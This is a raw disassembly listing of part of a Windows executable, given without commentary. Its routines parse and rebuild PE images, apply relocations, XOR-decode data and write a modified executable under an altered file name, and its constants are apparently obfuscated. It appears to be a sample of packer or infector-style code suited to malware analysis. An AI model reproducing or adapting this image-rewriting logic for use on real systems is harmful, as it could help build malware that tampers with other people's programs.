lea eax, [ebp+var_31ED0]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call dword ptr ds:10010634h
add esp, 18h
mov eax, [esi+14h]
add eax, 0Dh
mov [ebp+var_1068], eax
mov edx, ds:1001211Ch
add edx, ds:100120E4h
sub edx, 3
add eax, edx
mov [ebp+var_424], eax
jmp short loc_41D14B
; ---------------------------------------------------------------------------
loc_41D131: ; CODE XREF: sub_41C797+9C3j
mov eax, [ebp+var_424]
add eax, [ebp+var_4]
movzx edx, byte ptr [eax]
xor edx, [ebp+var_1064]
mov [eax], dl
inc [ebp+var_424]
loc_41D14B: ; CODE XREF: sub_41C797+998j
mov eax, [ebp+var_1068]
add eax, [ebp+arg_8]
cmp [ebp+var_424], eax
jb short loc_41D131
movsx eax, word ptr ds:10012148h
add eax, ds:100121B8h
sub eax, 6
mov [ebp+var_18], eax
mov eax, ds:10012164h
mov [ebp+var_440], eax
jmp loc_41D3D0
; ---------------------------------------------------------------------------
loc_41D17F: ; CODE XREF: sub_41C797+C49j
mov eax, 28h
mul [ebp+var_440]
mov [ebp+var_31F40], eax
mov eax, [ebp+var_84C]
mov edx, [ebp+var_42C]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F40]
mov ebx, edx
add ebx, eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F44], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F44]
mov esi, edx
add esi, eax
mov eax, ds:1001211Ch
add eax, ds:100121B4h
sub eax, 4
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_41D228
mov eax, ds:100121CCh
movsx edx, word ptr ds:10012150h
add eax, edx
sub eax, 8
cmp byte ptr [ebx+eax], 72h
jnz short loc_41D228
mov eax, ds:10012174h
add eax, ds:100121B0h
sub eax, 4
cmp byte ptr [ebx+eax], 63h
jnz short loc_41D228
mov eax, [ebx+14h]
mov [ebp+var_1178], eax
jmp loc_41D3CA
; ---------------------------------------------------------------------------
loc_41D228: ; CODE XREF: sub_41C797+A56j
; sub_41C797+A6Dj ...
movsx eax, word ptr ds:100121A8h
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_41D26F
mov eax, ds:10012104h
sub eax, 2
cmp byte ptr [ebx+eax], 65h
jnz short loc_41D26F
mov eax, ds:100121ACh
inc eax
movsx edx, word ptr ds:100120D0h
add eax, edx
cmp byte ptr [ebx+eax], 61h
jnz short loc_41D26F
mov eax, [ebx+14h]
mov [ebp+var_117C], eax
mov eax, [ebx+0Ch]
mov [ebp+var_1180], eax
jmp loc_41D3CA
; ---------------------------------------------------------------------------
loc_41D26F: ; CODE XREF: sub_41C797+A9Cj
; sub_41C797+AAAj ...
mov eax, ds:10012140h
add eax, ds:100120B8h
sub eax, 0Ch
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_41D2AB
movsx eax, word ptr ds:100120D8h
add eax, ds:100121B0h
sub eax, 4
cmp byte ptr [ebx+eax], 69h
jnz short loc_41D2AB
mov eax, ds:100120D4h
add eax, 4
cmp byte ptr [ebx+eax], 61h
jz loc_41D3CA
loc_41D2AB: ; CODE XREF: sub_41C797+AEAj
; sub_41C797+B00j
push ebx
push esi
call dword ptr ds:1000E1F4h
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebx+10h]
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebx+24h]
mov [esi+24h], eax
mov eax, ds:100120F0h
inc eax
add eax, ds:1001210Ch
push eax
mov eax, ds:1001211Ch
sub eax, 3
push eax
mov eax, esi
add eax, 18h
push eax
call dword ptr ds:10010640h
mov edi, [ebp+var_18]
mov edx, [ebx+0Ch]
mov [ebp+edi*4+var_420], edx
mov edx, [ebx+8]
mov [ebp+edi*4+var_83C], edx
mov edx, [esi+0Ch]
mov [ebp+edi*4+var_C4C], edx
mov edx, [esi+14h]
mov [ebp+edi*4+var_1050], edx
inc [ebp+var_18]
mov eax, [ebx+10h]
add [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_31F3C], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_41E1DA
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, ds:100120F0h
add eax, ds:100121C8h
sub eax, 5
cmp byte ptr [ebx+eax], 64h
jnz short loc_41D378
mov eax, [ebp+var_31F3C]
cmp [ebp+var_10], eax
jbe short loc_41D378
mov ecx, [ebp+var_10]
sub ecx, eax
mov [ebp+var_31F48], ecx
mov eax, ecx
add [esi+8], eax
mov eax, ecx
add [esi+10h], eax
loc_41D378: ; CODE XREF: sub_41C797+BBFj
; sub_41C797+BCAj
mov eax, ds:10012158h
add eax, 0FFAh
add eax, ds:1001217Ch
push eax
mov eax, [ebp+var_20]
add eax, [ebx+8]
push eax
call sub_41E1DA
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [ebx+8]
mov [eax+50h], edx
push dword ptr [esi+10h]
mov eax, [ebx+14h]
add eax, [ebp+var_42C]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call dword ptr ds:10010634h
add esp, 14h
loc_41D3CA: ; CODE XREF: sub_41C797+A8Cj
; sub_41C797+AD3j ...
inc [ebp+var_440]
loc_41D3D0: ; CODE XREF: sub_41C797+9E3j
mov eax, [ebp+var_844]
movzx eax, word ptr [eax+6]
cmp [ebp+var_440], eax
jb loc_41D17F
mov eax, [ebp+var_1178]
add eax, [ebp+var_42C]
mov [ebp+var_14], eax
loc_41D3F5: ; CODE XREF: sub_41C797+E9Bj
mov eax, ds:1001212Ch
movsx edx, word ptr ds:10012180h
add eax, edx
sub eax, 0Bh
mov [ebp+var_1C], eax
jmp short loc_41D467
; ---------------------------------------------------------------------------
loc_41D40B: ; CODE XREF: sub_41C797+CD6j
mov edi, [ebp+var_1C]
mov edx, [ebp+var_14]
mov edx, [edx]
cmp [ebp+edi*4+var_420], edx
jnz short loc_41D427
mov eax, [ebp+var_14]
mov eax, [eax]
mov [ebp+var_C50], eax
loc_41D427: ; CODE XREF: sub_41C797+C83j
mov edi, [ebp+var_1C]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
mov edi, [ebp+var_14]
cmp edx, [edi]
jbe short loc_41D464
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_1050]
mov [ebp+var_106C], edi
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1054], edi
jmp short loc_41D46F
; ---------------------------------------------------------------------------
loc_41D464: ; CODE XREF: sub_41C797+CA9j
inc [ebp+var_1C]
loc_41D467: ; CODE XREF: sub_41C797+C72j
mov eax, [ebp+var_18]
cmp [ebp+var_1C], eax
jb short loc_41D40B
loc_41D46F: ; CODE XREF: sub_41C797+CCBj
movsx eax, word ptr ds:10012180h
add eax, ds:10012138h
sub eax, 0Eh
mov [ebp+var_428], eax
jmp loc_41D5F8
; ---------------------------------------------------------------------------
loc_41D48A: ; CODE XREF: sub_41C797+E6Dj
mov eax, [ebp+var_428]
movsx edx, word ptr ds:10012090h
add edx, 7
add eax, edx
add eax, [ebp+var_14]
mov [ebp+var_31F40], eax
mov ax, [eax]
mov word ptr [ebp+var_31F3C], ax
movzx eax, word ptr [ebp+var_31F3C]
mov edx, ds:100120A0h
sub edx, 4
cmp eax, edx
jz loc_41D60A
movzx edi, word ptr [ebp+var_31F3C]
mov ecx, ds:10012198h
add ecx, 4
sar edi, cl
mov word ptr [ebp+var_31F44+2], di
movzx edi, word ptr [ebp+var_31F3C]
mov edx, ds:100121CCh
add edx, ds:10012104h
mov ecx, edx
sub ecx, 3
shl edi, cl
mov word ptr [ebp+var_31F3C+2], di
movzx edi, word ptr [ebp+var_31F3C+2]
mov ecx, ds:10012098h
sub ecx, 3
sar edi, cl
mov word ptr [ebp+var_31F3C+2], di
movzx eax, word ptr [ebp+var_31F3C+2]
mov edx, ds:1001210Ch
add edx, ds:10012164h
sub edx, 7
cmp eax, edx
jnz short loc_41D550
movsx eax, word ptr ds:10012100h
add eax, ds:10012104h
sub eax, 0Ch
cmp [ebp+var_428], eax
jnz loc_41D60A
loc_41D550: ; CODE XREF: sub_41C797+D9Bj
mov eax, [ebp+var_844]
mov eax, [eax+34h]
mov edx, [ebp+var_14]
add eax, [edx]
movzx edx, word ptr [ebp+var_31F3C+2]
add eax, edx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1054]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F3C+2]
add eax, edx
mov [ebp+var_31F4C], eax
sub eax, [ebp+var_31F48]
mov [ebp+var_31F50], eax
movzx eax, word ptr [ebp+var_31F44+2]
mov edx, ds:10012098h
add edx, ds:1001218Ch
sub edx, 5
cmp eax, edx
jnz short loc_41D5E4
mov eax, [ebp+var_106C]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F3C+2]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F54], eax
mov edx, [ebp+var_31F50]
add [eax], edx
loc_41D5E4: ; CODE XREF: sub_41C797+E20j
mov eax, ds:1001217Ch
add eax, ds:100120C4h
sub eax, 8
add [ebp+var_428], eax
loc_41D5F8: ; CODE XREF: sub_41C797+CEEj
mov eax, [ebp+var_14]
mov eax, [eax+4]
cmp [ebp+var_428], eax
jb loc_41D48A
loc_41D60A: ; CODE XREF: sub_41C797+D2Aj
; sub_41C797+DB3j
mov eax, [ebp+var_14]
mov edx, [eax+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_844]
mov eax, [eax+0A4h]
mov edx, [ebp+var_1178]
add edx, [ebp+var_42C]
add eax, edx
cmp [ebp+var_14], eax
jb loc_41D3F5
mov eax, [ebp+var_8]
mov ecx, [eax+28h]
mov [ebp+var_1184], ecx
mov edx, [ebp+var_1060]
mov [eax+28h], edx
add eax, 60h
mov edx, [ebp+var_844]
mov edx, [edx+60h]
add [eax], edx
mov eax, [ebp+var_8]
add eax, 68h
mov edx, [ebp+var_844]
mov edx, [edx+68h]
add [eax], edx
mov eax, [ebp+var_8]
movsx edx, word ptr ds:100120B0h
mov ecx, ds:10012120h
lea edx, [edx+ecx+3]
mov [eax+44h], dx
movsx edx, word ptr ds:10012110h
mov ecx, ds:100120ACh
lea edx, [edx+ecx+1]
mov [eax+1Ah], dl
movsx eax, word ptr ds:10012110h
mov edx, [ebp+var_8]
mov ecx, eax
add ecx, eax
mov eax, ecx
sub eax, 7
mov [edx+46h], ax
mov eax, [ebp+var_117C]
add eax, [ebp+var_42C]
mov [ebp+var_31EDC], eax
mov eax, [ebp+var_117C]
mov edx, [ebp+var_31EDC]
add eax, [edx+1Ch]
sub eax, [ebp+var_1180]
mov [ebp+var_31EE0], eax
add eax, [ebp+var_42C]
mov [ebp+var_31EE4], eax
mov eax, [eax]
mov [ebp+var_1058], eax
movsx eax, word ptr ds:10012100h
add eax, ds:100120C0h
sub eax, 0Ah
mov [ebp+var_24], eax
jmp short loc_41D746
; ---------------------------------------------------------------------------
loc_41D705: ; CODE XREF: sub_41C797+FB5j
mov edi, [ebp+var_24]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
cmp edx, [ebp+var_1058]
jbe short loc_41D743
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_420]
mov [ebp+var_1188], edi
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1190], edi
jmp short loc_41D74E
; ---------------------------------------------------------------------------
loc_41D743: ; CODE XREF: sub_41C797+F88j
inc [ebp+var_24]
loc_41D746: ; CODE XREF: sub_41C797+F6Cj
mov eax, [ebp+var_18]
cmp [ebp+var_24], eax
jb short loc_41D705
loc_41D74E: ; CODE XREF: sub_41C797+FAAj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1190]
add eax, [ebp+var_1058]
sub eax, [ebp+var_1188]
mov [ebp+var_118C], eax
mov eax, [ebp+var_844]
mov eax, [eax+34h]
add eax, [ebp+var_1058]
mov [ebp+var_1058], eax
mov eax, [ebp+var_850]
mov [ebp+var_C], eax
jmp loc_41DA05
; ---------------------------------------------------------------------------
loc_41D78F: ; CODE XREF: sub_41C797+127Aj
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F3C], edx
mov ecx, ds:100120F8h
movzx edi, byte ptr [edx+eax]
movsx edx, word ptr ds:10012150h
lea edx, [edx+ecx+0E2h]
cmp edi, edx
jnz loc_41D8DA
mov edx, ds:10012188h
add edx, ds:100120C0h
mov edi, eax
add edi, edx
mov edx, [ebp+var_31F3C]
movzx edx, byte ptr [edx+edi]
movsx edi, word ptr ds:100120D0h
add edi, ds:100121B0h
cmp edx, edi
jnz loc_41D8DA
mov edx, eax
add edx, ecx
mov ecx, [ebp+var_31F3C]
movzx edx, byte ptr [ecx+edx]
movsx ecx, word ptr ds:10012168h
movsx edi, word ptr ds:100120F4h
add ecx, edi
sub ecx, 11h
cmp edx, ecx
jnz loc_41D8DA
mov edx, ds:100121B4h
add edx, 2
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F3C]
movzx edx, byte ptr [edx+ecx]
cmp edx, ds:10012108h
jnz loc_41D8DA
mov edx, ds:100121ACh
add edx, ds:100121A0h
sub edx, 6
add eax, edx
mov edx, [ebp+var_31F3C]
movzx eax, byte ptr [edx+eax]
movsx edx, word ptr ds:10012114h
movsx ecx, word ptr ds:10012154h
add edx, ecx
sub edx, 0Ah
cmp eax, edx
jnz short loc_41D8DA
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F40], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1184]
mov [ebp+var_31F44], eax
mov eax, ds:10012130h
add eax, 0FFFFFFFFh
sub eax, [ebp+var_31F40]
add eax, [ebp+var_31F44]
movsx edx, word ptr ds:100120D0h
add edx, 4
sub eax, edx
mov [ebp+var_31F48], eax
mov edi, ds:1001217Ch
mov edx, [ebp+var_C]
mov ecx, ds:100120C4h
sub ecx, 3
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-18h], ecx
loc_41D8DA: ; CODE XREF: sub_41C797+101Ej
; sub_41C797+104Dj ...
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
movzx ecx, byte ptr [edx+eax]
mov edi, ds:100121A4h
add edi, 0E0h
add edi, ds:100120B4h
cmp ecx, edi
jnz loc_41DA02
mov ecx, ds:1001210Ch
sub ecx, 6
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, ds:10012140h
sub edi, 8
cmp ecx, edi
jnz loc_41DA02
movsx ecx, word ptr ds:10012110h
sub ecx, 2
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word ptr ds:100121A8h
cmp ecx, edi
jnz loc_41DA02
movsx ecx, word ptr ds:10012128h
add ecx, 3
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word ptr ds:100120B0h
sub edi, 8
cmp ecx, edi
jnz loc_41DA02
add eax, ds:100120B8h
movzx eax, byte ptr [edx+eax]
mov edx, ds:10012144h
sub edx, 5
cmp eax, edx
jnz loc_41DA02
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F40], eax
mov eax, [ebp+var_118C]
mov [ebp+var_31F44], eax
mov eax, ds:100120F0h
add eax, 0FFFFFFFBh
sub eax, [ebp+var_31F40]
add eax, [ebp+var_31F44]
movsx edx, word ptr ds:100120B0h
sub edx, 4
sub eax, edx
mov [ebp+var_31F48], eax
mov edi, ds:10012098h
movsx edx, word ptr ds:1001219Ch
mov ecx, edi
add ecx, edx
mov edx, [ebp+var_C]
movsx eax, word ptr ds:100121BCh
add eax, edi
mov edi, eax
sub edi, 0Ch
add edx, edi
mov edi, edx
add edi, [ebp+var_4]
mov edx, [ebp+var_31F48]
mov [edi+ecx*4-34h], edx
loc_41DA02: ; CODE XREF: sub_41C797+1161j
; sub_41C797+1183j ...
inc [ebp+var_C]
loc_41DA05: ; CODE XREF: sub_41C797+FF3j
mov eax, [ebp+var_850]
add eax, 0Dh
cmp [ebp+var_C], eax
jb loc_41D78F
push [ebp+var_1070]
call dword ptr ds:10010650h
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:1000E1F4h
add esp, 8
lea ecx, [ebp+var_116F]
or eax, 0FFFFFFFFh
loc_41DA3F: ; CODE XREF: sub_41C797+12ADj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41DA3F
mov [ebp+var_31ED4], eax
mov edx, ds:10012198h
add edx, ds:10012158h
sub edx, 5
sub eax, edx
mov [ebp+eax+var_116F], 69h
mov eax, [ebp+var_31ED4]
mov edx, ds:100120C0h
movsx ecx, word ptr ds:10012180h
add edx, ecx
sub edx, 5
sub eax, edx
mov [ebp+eax+var_116F], 76h
mov eax, [ebp+var_31ED4]
mov edx, ds:10012140h
sub edx, 7
sub eax, edx
mov [ebp+eax+var_116F], 72h
push 0
mov eax, ds:10012098h
movsx edx, word ptr ds:10012128h
add eax, edx
sub eax, 7
push eax
push 2
push 0
mov eax, ds:1001218Ch
add eax, ds:100121B0h
sub eax, 1
push eax
push 40000000h
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:10011788h
mov [ebp+var_1070], eax
push 0
lea eax, [ebp+var_31ED8]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call dword ptr ds:10011B8Ch
push [ebp+var_1070]
call dword ptr ds:10010650h
push [ebp+var_4]
call dword ptr ds:1000E618h
push 0
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:1000F364h
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:1000C008h
mov eax, 1
jmp short loc_41DB4C
; ---------------------------------------------------------------------------
loc_41DB35: ; CODE XREF: sub_41C797+BAj
; sub_41C797+D4j ...
push [ebp+var_1070]
call dword ptr ds:10010650h
push [ebp+var_4]
call dword ptr ds:1000E618h
xor eax, eax
loc_41DB4C: ; CODE XREF: sub_41C797+56j
; sub_41C797+139Cj
pop edi
pop esi
pop ebx
leave
retn
sub_41C797 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB51 proc near ; CODE XREF: sub_41BB8D+197p
; sub_41BB8D+23Bp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
and [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_41DB66: ; CODE XREF: sub_41DB51+1Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41DB66
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
lea ecx, [eax]
or eax, 0FFFFFFFFh
loc_41DB78: ; CODE XREF: sub_41DB51+2Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41DB78
mov esi, eax
mov eax, ds:10012104h
add eax, ds:10012164h
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_41DBEC
; ---------------------------------------------------------------------------
loc_41DB94: ; CODE XREF: sub_41DB51+A1j
movsx eax, word ptr ds:1001219Ch
mov ebx, eax
add ebx, ds:10012160h
sub ebx, 0Eh
mov eax, ds:1001210Ch
mov edi, eax
add edi, ds:100120A0h
sub edi, 0Bh
jmp short loc_41DBE5
; ---------------------------------------------------------------------------
loc_41DBB8: ; CODE XREF: sub_41DB51+96j
mov eax, [ebp+var_4]
add eax, edi
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+edi]
cmp eax, edx
jnz short loc_41DBE9
inc ebx
cmp ebx, esi
jnz short loc_41DBE4
inc [ebp+var_8]
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jnz short loc_41DBE4
mov eax, [ebp+var_4]
jmp short loc_41DBF9
; ---------------------------------------------------------------------------
loc_41DBE4: ; CODE XREF: sub_41DB51+81j
; sub_41DB51+8Cj
inc edi
loc_41DBE5: ; CODE XREF: sub_41DB51+65j
cmp edi, esi
jb short loc_41DBB8
loc_41DBE9: ; CODE XREF: sub_41DB51+7Cj
inc [ebp+var_4]
loc_41DBEC: ; CODE XREF: sub_41DB51+41j
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb short loc_41DB94
mov eax, 0FFFFh
loc_41DBF9: ; CODE XREF: sub_41DB51+91j
pop edi
pop esi
pop ebx
leave
retn
sub_41DB51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DBFE proc near ; CODE XREF: sub_42149B+441p
; sub_42149B+452p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_424F4D
push esi
push edi
push 5
push [ebp+arg_0]
call dword ptr ds:1000C004h
mov edi, eax
loc_41DC1A: ; CODE XREF: sub_41DBFE+7Dj
or edi, edi
jnz short loc_41DC22
xor eax, eax
jmp short loc_41DC7D
; ---------------------------------------------------------------------------
loc_41DC22: ; CODE XREF: sub_41DBFE+1Ej
push 0FFFh
lea eax, [ebp+var_FFF]
push eax
push edi
call dword ptr ds:1000D010h
mov eax, ds:100121C4h
add eax, ds:100120B8h
sub eax, 8
push eax
push [ebp+arg_4]
lea eax, [ebp+var_FFF]
push eax
call sub_41DB51
add esp, 0Ch
mov esi, ds:100121B4h
add esi, 0FFFEh
add esi, ds:10012164h
cmp eax, esi
jz short loc_41DC70
mov eax, edi
jmp short loc_41DC7D
; ---------------------------------------------------------------------------
loc_41DC70: ; CODE XREF: sub_41DBFE+6Cj
push 2
push edi
call dword ptr ds:1000C004h
mov edi, eax
jmp short loc_41DC1A
; ---------------------------------------------------------------------------
loc_41DC7D: ; CODE XREF: sub_41DBFE+22j
; sub_41DBFE+70j
pop edi
pop esi
leave
retn
sub_41DBFE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
movsx eax, word ptr ds:10012128h
add eax, ds:10012174h
sub eax, 9
cmp ds:1000E604h, eax
jbe short loc_41DCA7
push 1000E604h
call dword ptr ds:1000C010h
loc_41DCA7: ; CODE XREF: .data:0041DC9Aj
mov eax, ds:1000E604h
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DCB0 proc near ; CODE XREF: sub_41C561+BBp
; sub_41E9E2+1C3p ...
var_EF38 = dword ptr -0EF38h
var_EF34 = dword ptr -0EF34h
var_EF30 = dword ptr -0EF30h
var_EF2C = byte ptr -0EF2Ch
var_EF2B = byte ptr -0EF2Bh
var_EE2C = dword ptr -0EE2Ch
var_EE24 = byte ptr -0EE24h
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 0EF38h
call sub_424F4D
push ebx
push esi
push edi
movsx edi, word ptr ds:10012170h
imul esi, ds:10012130h, 3C0h
lea edi, [edi+edi+0EA50h]
lea edi, [esi+edi+780h]
shl edi, 1
mov [ebp+var_EF38], edi
push edi
call sub_424ED2
add esp, 4
mov [ebp+var_EE2C], eax
movzx eax, [ebp+arg_0]
mov edx, ds:100120ECh
sub edx, 4
cmp eax, edx
jnz short loc_41DD2A
push 100135C4h
call sub_4228CE
add esp, 4
push eax
lea edi, [ebp+var_EE24]
push edi
call dword ptr ds:10011634h
add esp, 8
jmp loc_41DE17
; ---------------------------------------------------------------------------
loc_41DD2A: ; CODE XREF: sub_41DCB0+55j
call dword ptr ds:1000F228h
mov ebx, eax
mov [ebp+var_EF2C], bl
movzx eax, [ebp+arg_0]
mov edx, ds:10012138h
add edx, ds:100120C0h
sub edx, 7
cmp eax, edx
jnz short loc_41DD9E
mov eax, ds:100120E4h
add eax, 5
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push [ebp+arg_8]
call sub_41C34A
add esp, 0Ch
push 10013594h
call sub_4228CE
add esp, 4
movzx edi, [ebp+var_EF2C]
push edi
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call dword ptr ds:10011634h
add esp, 10h
jmp short loc_41DE17
; ---------------------------------------------------------------------------
loc_41DD9E: ; CODE XREF: sub_41DCB0+9Dj
mov eax, ds:10012160h
sub eax, 8
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push dword ptr ds:100122B0h
call sub_41C34A
add esp, 0Ch
push 10013536h
call sub_4228CE
add esp, 4
mov edi, [ebp+arg_18]
mov esi, [ebp+arg_8]
mov ebx, edi
add ebx, esi
push ebx
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
movzx edi, [ebp+var_EF2C]
push edi
mov edi, esi
sub edi, [ebp+arg_C]
sub edi, ds:100120C4h
push edi
push 1000F230h
push [ebp+arg_10]
push [ebp+arg_20]
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call dword ptr ds:10011634h
add esp, 30h
loc_41DE17: ; CODE XREF: sub_41DCB0+75j
; sub_41DCB0+ECj
push [ebp+var_EF38]
push [ebp+var_EE2C]
movsx eax, word ptr ds:10012128h
inc eax
neg eax
push eax
lea eax, [ebp+var_EE24]
push eax
mov eax, ds:100120C4h
movsx edx, word ptr ds:1001216Ch
add eax, edx
sub eax, 8
push eax
push 0
call dword ptr ds:1001163Ch
push 1001351Ch
call sub_41F3E4
add esp, 4
push eax
call dword ptr ds:1000C044h
mov [ebp+var_EF30], eax
push [ebp+var_EE2C]
call dword ptr ds:1000C044h
mov [ebp+var_EF34], eax
push eax
push [ebp+var_EF30]
mov eax, [ebp+arg_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+104h]
push [ebp+var_EF34]
call dword ptr ds:10011BA0h
push [ebp+var_EF30]
call dword ptr ds:10011BA0h
lea esp, [ebp-0EF44h]
pop edi
pop esi
pop ebx
leave
retn
sub_41DCB0 endp
; ---------------------------------------------------------------------------
db 0B8h, 1, 40h
dd 10C28000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEB9 proc near ; CODE XREF: sub_41DEB9+27Ep
; sub_41DEB9+2E6p ...
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 268h
push ebx
push esi
push edi
push 0
call dword ptr ds:10011630h
xor ebx, ebx
inc ebx
push 10013511h
call sub_4228CE
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call dword ptr ds:10011634h
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call dword ptr ds:1000F258h
mov [ebp+var_248], eax
movsx ecx, word ptr ds:100120DCh
add ecx, ds:100120A8h
sub ecx, 8
neg ecx
cmp eax, ecx
jnz loc_41E0F1
mov eax, ds:1001209Ch
sub eax, 8
cmp [ebp+arg_20], eax
ja loc_41E1AE
mov eax, ds:100121A4h
add eax, 3FAh
add eax, ds:10012094h
cmp [ebp+arg_24], eax
jnb short loc_41DF5B
mov eax, ds:1001209Ch
add eax, 9Ch
cmp [ebp+arg_24], eax
jnz loc_41E1AE
loc_41DF5B: ; CODE XREF: sub_41DEB9+8Dj
movsx eax, word ptr ds:10012128h
add eax, 30D40h
cmp [ebp+arg_24], eax
ja loc_41E1AE
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call dword ptr ds:10011780h
mov [ebp+var_260], eax
movsx eax, word ptr ds:10012150h
sub eax, 5
cmp [ebp+var_260], eax
jge short loc_41DFA3
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_41DFAE
; ---------------------------------------------------------------------------
loc_41DFA3: ; CODE XREF: sub_41DEB9+DBj
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_41DFAE: ; CODE XREF: sub_41DEB9+E8j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call dword ptr ds:10011778h
mov eax, ds:100121CCh
mov edx, ds:100121B8h
movzx ecx, [ebp+var_24E]
movzx esi, [ebp+var_250]
movsx edi, word ptr ds:10012168h
lea edi, [eax+edi+30h]
imul esi, edi
add ecx, esi
movzx esi, [ebp+var_252]
